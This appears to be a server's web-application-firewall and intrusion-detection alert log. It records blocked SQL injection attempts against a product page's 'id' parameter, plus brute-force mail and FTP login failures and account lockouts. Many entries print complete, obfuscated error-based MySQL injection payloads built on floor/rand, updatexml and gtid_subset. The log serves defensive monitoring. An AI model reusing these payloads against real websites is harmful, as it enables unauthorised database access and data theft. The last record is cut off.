plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 179.125.147.176
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1)and/**/(select/**/1840/**/from(select/**/count(*),concat('~',(select/**/(elt(1840=1840,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 181.37.238.49
country_id: 3508796
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'/*!50000AND*/(/*!50000SELECT*/5371/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(5371=5371,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.187.214.129
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'))and/**/(select/**/6472/**/from(select/**/count(*),concat('~',(select/**/(elt(6472=6472,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (('xzkgas3l' like 'xzkgas3l||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 181.37.238.49
country_id: 3508796
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'/*!50000AND*/(/*!50000SELECT*/5371/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(5371=5371,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:36:56 dovecot_login authenticator failed for H=(frE789tpCb) [158.94.208.175]:59468: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.167.243.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\"AND/**/(SELECT/**/9387/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9387=9387,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND \"mityLttQ\" LIKE \"mityLttQ\"||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:36:11 dovecot_login authenticator failed for H=(iQIfwcOEA) [165.154.217.204]:52429: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1')))AND/**/(SELECT/**/7400/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7400=7400,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND ((('rMqWu5le'='rMqWu5le||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 181.37.238.49
country_id: 3508796
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/(select/**/1348/**/from(select/**/count(*),concat('~',(select/**/(elt(1348=1348,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (\"gv8xmg7s\" like \"gv8xmg7s||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.191.71.47
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1 and and/**/updatexml(5989,concat('.','~',(select/**/(elt(5989=5989,1))),'~'),9517)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.160.188.240
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'/*!50000AND*/(/*!50000SELECT*/5167/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(5167=5167,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 113.160.188.240
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1'/*!50000AND*/(/*!50000SELECT*/5167/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(5167=5167,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.226.3.244
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1and/**/(select/**/6947/**/from(select/**/count(*),concat('~',(select/**/(elt(6947=6947,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)# 5pfrevok||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 179.125.147.176
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')/*!50000AND*/(/*!50000SELECT*/7527/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(7527=7527,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 179.125.147.176
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)and/**/(select/**/1840/**/from(select/**/count(*),concat('~',(select/**/(elt(1840=1840,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.167.243.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"and/**/(select/**/9387/**/from(select/**/count(*),concat('~',(select/**/(elt(9387=9387,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and \"mitylttq\" like \"mitylttq\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.167.243.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\"AND/**/(SELECT/**/9387/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9387=9387,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND \"mityLttQ\" LIKE \"mityLttQ\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.226.3.244
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1AND/**/(SELECT/**/6947/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(6947=6947,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)# 5pFreVOk||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 222.253.214.121
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1'/*!50000AND*/(/*!50000SELECT*/6651/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(6651=6651,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) OR 'e2U9F0ck'='rm2nrqu7||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 181.37.238.49
country_id: 3508796
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1'/*!50000AND*/(/*!50000SELECT*/5371/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(5371=5371,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')))and/**/(select/**/7400/**/from(select/**/count(*),concat('~',(select/**/(elt(7400=7400,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and ((('rmqwu5le'='rmqwu5le||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 113.187.214.129
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1\")))/*!50000AND*/(/*!50000SELECT*/4675/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(4675=4675,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (((\"sxZgABVn\"=\"sxZgABVn\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.187.214.129
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'))and/**/(select/**/6472/**/from(select/**/count(*),concat('~',(select/**/(elt(6472=6472,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (('xzkgas3l' like 'xzkgas3l||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.187.214.129
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")))/*!50000AND*/(/*!50000SELECT*/4675/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(4675=4675,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (((\"sxZgABVn\"=\"sxZgABVn\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.160.188.240
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1)and/**/(select/**/3935/**/from(select/**/count(*),concat('~',(select/**/(elt(3935=3935,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.191.71.47
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1 AND /*!50000AND*/UPDATEXML(5760,/*!50000CONCAT*/('.','~',(/*!50000SELECT*/(ELT(5760=5760,1))),'~'),10347)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1')))and/**/(select/**/7400/**/from(select/**/count(*),concat('~',(select/**/(elt(7400=7400,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and ((('rmqwu5le'='rmqwu5le||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:36:29 dovecot_login authenticator failed for H=(zD5id8T) [178.16.52.139]:58547: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 222.253.214.121
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'/*!50000AND*/(/*!50000SELECT*/6651/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(6651=6651,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) OR 'e2U9F0ck'='rm2nrqu7||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.247.42.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/(SELECT/**/7781/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7781=7781,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) OR '2J9Ninfb'='3mGS4mz1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1')))AND/**/(SELECT/**/7400/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7400=7400,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND ((('rMqWu5le'='rMqWu5le||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 14.226.3.244
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1AND/**/(SELECT/**/6947/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(6947=6947,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)# 5pFreVOk||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:36:29 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63745: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 222.253.214.121
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1and/**/(select/**/6250/**/from(select/**/count(*),concat('~',(select/**/(elt(6250=6250,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)# 8n0ozrmd||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 222.253.214.121
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/(select/**/6250/**/from(select/**/count(*),concat('~',(select/**/(elt(6250=6250,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)# 8n0ozrmd||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.247.42.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/(select/**/7781/**/from(select/**/count(*),concat('~',(select/**/(elt(7781=7781,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) or '2j9ninfb'='3mgs4mz1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')))AND/**/(SELECT/**/7400/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7400=7400,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND ((('rMqWu5le'='rMqWu5le||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 14.247.42.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1'AND/**/(SELECT/**/7781/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7781=7781,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) OR '2J9Ninfb'='3mGS4mz1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.226.3.244
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1AND/**/(SELECT/**/6947/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(6947=6947,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)# 5pFreVOk||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 222.253.214.121
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'/*!50000AND*/(/*!50000SELECT*/6651/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(6651=6651,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) OR 'e2U9F0ck'='rm2nrqu7||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.247.42.194
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'AND/**/(SELECT/**/7781/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7781=7781,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) OR '2J9Ninfb'='3mGS4mz1||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:36:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.191.71.47
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1AND/**/UPDATEXML(4756,CONCAT('.','~',(SELECT/**/(ELT(4756=4756,1))),'~'),10472)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:37:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:37:49 dovecot_login authenticator failed for H=(Dd4w9s) [165.154.217.204]:55385: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.248.174.26
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'AND/**/UPDATEXML(1057,CONCAT('.','~',(SELECT/**/(ELT(1057=1057,1))),'~'),2310) OR 'WPrZsqDS'='RWAabv1A||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.248.174.26
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/updatexml(2496,concat('.','~',(select/**/(elt(2496=2496,1))),'~'),3021)# thsvpjht||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:37:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64846: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.191.71.47
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/updatexml(4756,concat('.','~',(select/**/(elt(4756=4756,1))),'~'),10472)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.71.47
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/UPDATEXML(8520,CONCAT('.','~',(SELECT/**/(ELT(8520=8520,1))),'~'),8800)# SFym12Vb HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 71.6.135.131
country_id: 6252001
description:
Feb  2 05:37:23 sv3 pure-ftpd[1441929]: (?@71.6.135.131) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.66.46.84
country_id: 1562822
description:
2026-02-02 05:37:24 dovecot_plain authenticator failed for H=(jxwkrpzh474a38zqqba8t8pv2n17k) [157.66.46.84]:26188: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.214.169.10
country_id: 2510769
description:
2026-02-02 05:37:33 dovecot_plain authenticator failed for H=(meake) [185.214.169.10]:42782: 535 Incorrect authentication data (set_id=bcteh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:37:54 dovecot_login authenticator failed for H=(yTdwgQ) [158.94.208.175]:50116: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.194
country_id: 1269750
description:
2026-02-02 05:37:54 dovecot_login authenticator failed for H=(nsg-corporate-194.230.187.122.airtel.in) [122.187.230.194]:44466: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.174.26
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/UPDATEXML(2496,CONCAT('.','~',(SELECT/**/(ELT(2496=2496,1))),'~'),3021)# tHSvpJht HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.46.113.180
country_id: 2960313
description:
2026-02-02 05:37:29 dovecot_login authenticator failed for H=(5G3bMlMK) [37.46.113.180]:15388: 535 Incorrect authentication data (set_id=sham@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:37:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:37:08 dovecot_login authenticator failed for H=(zgmbXGqWh) [165.154.217.204]:64071: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:37:23 dovecot_login authenticator failed for H=(5XEoKU) [178.16.52.139]:53545: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:38:59 dovecot_login authenticator failed for H=(0Bwc5W) [158.94.208.175]:50504: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-02-02 05:38:24 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:55372: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:38:42 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.248.174.26
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1)AND/**/UPDATEXML(10776,CONCAT('.','~',(SELECT/**/(ELT(10776=10776,1))),'~'),2995)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-02-02 05:38:17 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:41698: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.187
country_id: 1269750
description:
2026-02-02 05:38:37 dovecot_login authenticator failed for H=(nsg-corporate-187.230.187.122.airtel.in) [122.187.230.187]:41307: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.248.174.26
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)and/**/updatexml(10776,concat('.','~',(select/**/(elt(10776=10776,1))),'~'),2995)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)))and/**/gtid_subset(concat('~',(select/**/(elt(2594=2594,1))),'~'),2594) and (((1469=1469||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
